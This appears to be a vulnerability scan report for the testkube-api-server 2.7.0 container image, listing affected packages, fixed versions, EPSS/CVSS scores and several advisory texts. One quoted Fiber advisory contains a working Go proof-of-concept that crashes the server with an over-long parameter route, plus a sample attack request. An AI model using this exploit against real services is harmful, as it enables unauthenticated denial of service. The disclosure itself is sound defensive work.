testkube-api-server-2.7.0_linux_amd64

digest	sha256:b574ad9e5dceee9f6331ee324d4e7e61cd6a5069edb7c32e6a0eaf891625a7bf
vulnerabilities
platform	linux/amd64
size	69 MB
packages	255

libssl3 3.3.5-r0 (apk) pkg:apk/alpine/libssl3@3.3.5-r0?arch=x86_64&distro=alpine-3.20.8&upstream=openssl # api-server.Dockerfile (29:29) FROM ${ALPINE_IMAGE} Affected range <3.3.6-r0 Fixed version 3.3.6-r0 EPSS Score 0.766% EPSS Percentile 73rd percentile Description Affected range <3.3.6-r0 Fixed version 3.3.6-r0 EPSS Score 0.065% EPSS Percentile 20th percentile Description Affected range <3.3.6-r0 Fixed version 3.3.6-r0 EPSS Score 0.076% EPSS Percentile 23rd percentile Description Affected range <3.3.6-r0 Fixed version 3.3.6-r0 EPSS Score 0.061% EPSS Percentile 19th percentile Description Affected range <3.3.6-r0 Fixed version 3.3.6-r0 EPSS Score 0.064% EPSS Percentile 20th percentile Description Affected range <3.3.6-r0 Fixed version 3.3.6-r0 EPSS Score 0.052% EPSS Percentile 16th percentile Description Affected range <3.3.6-r0 Fixed version 3.3.6-r0 EPSS Score 0.017% EPSS Percentile 4th percentile Description Affected range <3.3.6-r0 Fixed version 3.3.6-r0 EPSS Score 0.077% EPSS Percentile 23rd percentile Description Affected range <3.3.6-r0 Fixed version 3.3.6-r0 EPSS Score 0.016% EPSS Percentile 4th percentile Description Affected range <3.3.6-r0 Fixed version 3.3.6-r0 EPSS Score 0.005% EPSS Percentile 0th percentile Description

c-ares 1.33.1-r0 (apk) pkg:apk/alpine/c-ares@1.33.1-r0?arch=x86_64&distro=alpine-3.20.8 # api-server.Dockerfile (30:30) RUN apk --no-cache add ca-certificates libssl3 git Affected range <=1.33.1-r0 Fixed version Not Fixed EPSS Score 0.618% EPSS Percentile 70th percentile Description Affected range <=1.33.1-r0 Fixed version Not Fixed EPSS Score 0.019% EPSS Percentile 5th percentile Description

go.opentelemetry.io/otel/sdk 1.34.0 (golang) pkg:golang/go.opentelemetry.io/otel/sdk@1.34.0 # api-server.Dockerfile (32:32) COPY --from=build /app /bin/app Untrusted Search Path Affected range >=1.21.0 <1.40.0 Fixed version 1.40.0 CVSS Score 7 CVSS Vector CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H EPSS Score 0.006% EPSS Percentile 0th percentile Description Impact The OpenTelemetry Go SDK in version v1.20.0-1.39.0 is vulnerable to Path Hijacking (Untrusted Search Paths) on macOS/Darwin systems. The resource detection code in sdk/resource/host_id.go executes the ioreg system command using a search path. An attacker with the ability to locally modify the PATH environment variable can achieve Arbitrary Code Execution (ACE) within the context of the application. Patches This has been patched in d45961b, which was released with v1.40.0. References CWE-426: Untrusted Search Path

libcurl 8.14.1-r2 (apk) pkg:apk/alpine/libcurl@8.14.1-r2?arch=x86_64&distro=alpine-3.20.8&upstream=curl # api-server.Dockerfile (30:30) RUN apk --no-cache add ca-certificates libssl3 git Affected range <=8.14.1-r2 Fixed version Not Fixed EPSS Score 0.007% EPSS Percentile 1st percentile Description Affected range <=8.14.1-r2 Fixed version Not Fixed EPSS Score 0.008% EPSS Percentile 1st percentile Description Affected range <=8.14.1-r2 Fixed version Not Fixed EPSS Score 0.046% EPSS Percentile 14th percentile Description Affected range <=8.14.1-r2 Fixed version Not Fixed EPSS Score 0.039% EPSS Percentile 12th percentile Description Affected range <=8.14.1-r2 Fixed version Not Fixed EPSS Score 0.046% EPSS Percentile 14th percentile Description Affected range <=8.14.1-r2 Fixed version Not Fixed EPSS Score 0.039% EPSS Percentile 11th percentile Description Affected range <=8.14.1-r2 Fixed version Not Fixed EPSS Score 0.087% EPSS Percentile 25th percentile Description

ssl_client 1.36.1-r30 (apk) pkg:apk/alpine/ssl_client@1.36.1-r30?arch=x86_64&distro=alpine-3.20.8&upstream=busybox # api-server.Dockerfile (29:29) FROM ${ALPINE_IMAGE} Affected range <=1.36.1-r30 Fixed version Not Fixed EPSS Score 0.052% EPSS Percentile 16th percentile Description Affected range <1.36.1-r31 Fixed version 1.36.1-r31 EPSS Score 0.083% EPSS Percentile 24th percentile Description Affected range <1.36.1-r31 Fixed version 1.36.1-r31 EPSS Score 0.077% EPSS Percentile 23rd percentile Description

libexpat 2.7.3-r0 (apk) pkg:apk/alpine/libexpat@2.7.3-r0?arch=x86_64&distro=alpine-3.20.8&upstream=expat # api-server.Dockerfile (30:30) RUN apk --no-cache add ca-certificates libssl3 git Affected range <2.7.4-r0 Fixed version 2.7.4-r0 EPSS Score 0.007% EPSS Percentile 0th percentile Description Affected range <2.7.4-r0 Fixed version 2.7.4-r0 EPSS Score 0.005% EPSS Percentile 0th percentile Description

github.com/nats-io/nats-server/v2 2.11.4 (golang) pkg:golang/github.com/nats-io/nats-server/v2@2.11.4 # api-server.Dockerfile (32:32) COPY --from=build /app /bin/app Improper Handling of Highly Compressed Data (Data Amplification) Affected range <2.11.12 Fixed version 2.11.12 CVSS Score 5.9 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.070% EPSS Percentile 21st percentile Description Impact The WebSockets handling of NATS messages handles compressed messages via the WebSockets negotiated compression. The implementation bound the memory size of a NATS message but did not independently bound the memory consumption of the memory stream when constructing a NATS message which might then fail validation for size reasons. An attacker can use a compression bomb to cause excessive memory consumption, often resulting in the operating system terminating the server process. The use of compression is negotiated before authentication, so this does not require valid NATS credentials to exploit. The fix was to bounds the decompression to fail once the message was too large, instead of continuing on. Patches This was released in nats-server without being highlighted as a security issue. It should have been, this was an oversight. Per the NATS security policy, because this does not require a valid user, it is CVE-worthy. This was fixed in the v2.11 series with v2.11.12 and in the v2.12 series with v2.12.3. Workarounds This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. References This was reported to the NATS maintainers by Pavel Kohout of Aisle Research (www.aisle.com).

github.com/go-jose/go-jose 2.6.3+incompatible (golang) pkg:golang/github.com/go-jose/go-jose@2.6.3%2Bincompatible # api-server.Dockerfile (32:32) COPY --from=build /app /bin/app Uncontrolled Resource Consumption Affected range <3.0.4 Fixed version 3.0.4 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.078% EPSS Percentile 23rd percentile Description Impact When parsing compact JWS or JWE input, go-jose could use excessive memory. The code used strings.Split(token, ".") to split JWT tokens, which is vulnerable to excessive memory consumption when processing maliciously crafted tokens with a large number of '.' characters. An attacker could exploit this by sending numerous malformed tokens, leading to memory exhaustion and a Denial of Service. Patches Version 4.0.5 fixes this issue Workarounds Applications could pre-validate payloads passed to go-jose do not contain an excessive number of '.' characters. References This is the same sort of issue as in the golang.org/x/oauth2/jws package as CVE-2025-22868 and Go issue https://go.dev/issue/71490.

github.com/gofiber/fiber/v2 2.52.11 (golang) pkg:golang/github.com/gofiber/fiber/v2@2.52.11 # api-server.Dockerfile (32:32) COPY --from=build /app /bin/app Improper Validation of Array Index Affected range <2.52.12 Fixed version 2.52.12 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P EPSS Score 0.050% EPSS Percentile 15th percentile Description A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. Affected Versions Fiber v3.0.0-rc.3 and earlier v3 releases Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable) Both versions share the same vulnerable routing implementation Vulnerability Details Root Cause Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go: const maxParams = 30 type DefaultCtx struct { values [maxParams]string // Fixed 30-element array // ... } The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write: v3: path.go:514 v2: path.go:516 // path.go:514 - NO BOUNDS CHECKING params[paramsIterator] = path[:i] When paramsIterator >= 30, this triggers: panic: runtime error: index out of range [30] with length 30 Attack Scenario Application registers route with >30 parameters (e.g., via code or dynamic routing): app.Get("/api/:p1/:p2/:p3/.../p35", handler) Attacker sends matching HTTP request: curl http://target/api/v1/v2/v3/.../v35 Server crashes during request processing with runtime panic Proof of Concept For Fiber v3 package main import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v3" ) func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9999") }() time.Sleep(200 * time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9999/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } } Output: Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC) 🔴 Sending exploit request... Expected: panic at path.go:514 params[paramsIterator] = path[:i] panic: runtime error: index out of range [30] with length 30 goroutine 40 [running]: github.com/gofiber/fiber/v3.(*routeParser).getMatch(...) /path/to/fiber/path.go:514 github.com/gofiber/fiber/v3.(*Route).match(...) /path/to/fiber/router.go:89 github.com/gofiber/fiber/v3.(*App).next(...) /path/to/fiber/router.go:142 For Fiber v2 package main import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v2" ) func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c *fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9998") }() time.Sleep(200 * time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9998/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } } Output (v2): Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC) 🔴 Sending exploit request... Expected: panic at path.go:516 params[paramsIterator] = path[:i] panic: runtime error: index out of range [30] with length 30 goroutine 40 [running]: github.com/gofiber/fiber/v2.(*routeParser).getMatch(...) /path/to/fiber/v2@v2.52.10/path.go:512 github.com/gofiber/fiber/v2.(*Route).match(...) /path/to/fiber/v2@v2.52.10/router.go:84 github.com/gofiber/fiber/v2.(*App).next(...) /path/to/fiber/v2@v2.52.10/router.go:127 Impact Exploitation Requirements No authentication required Single HTTP request triggers crash Trivially scriptable for sustained DoS Works against any route with >30 parameters Real-World Impact Public APIs: Remote DoS attacks on vulnerable endpoints Microservices: Cascade failures if vulnerable service is critical Auto-scaling: Repeated crashes prevent proper recovery Monitoring: Log flooding and alert fatigue Likelihood HIGH - Exploitation requires only: Knowledge of route structure (often public in APIs) Standard HTTP client (curl, browser, etc.) Single malformed request Workarounds Until patched, users should: Audit Routes: Ensure all routes have ≤30 parameters # Search for potential issues grep -r "/:.*/:.*/:.*" . | grep -v node_modules Disable Dynamic Routing: If programmatically registering routes, validate parameter count: paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") } Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact Monitoring: Alert on panic patterns in application logs Timeline 2024-12-24: Vulnerability discovered in v3 during PR #3962 review 2024-12-25: Proof of concept confirmed exploitability in v3 2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause) 2024-12-25: Security advisory created References v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause) Vulnerable Code Locations: v3: path.go:514 v2: path.go:516 Credit Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev

zlib 1.3.1-r1 (apk) pkg:apk/alpine/zlib@1.3.1-r1?arch=x86_64&distro=alpine-3.20.8 # api-server.Dockerfile (29:29) FROM ${ALPINE_IMAGE} Affected range <=1.3.1-r1 Fixed version Not Fixed EPSS Score 0.006% EPSS Percentile 0th percentile Description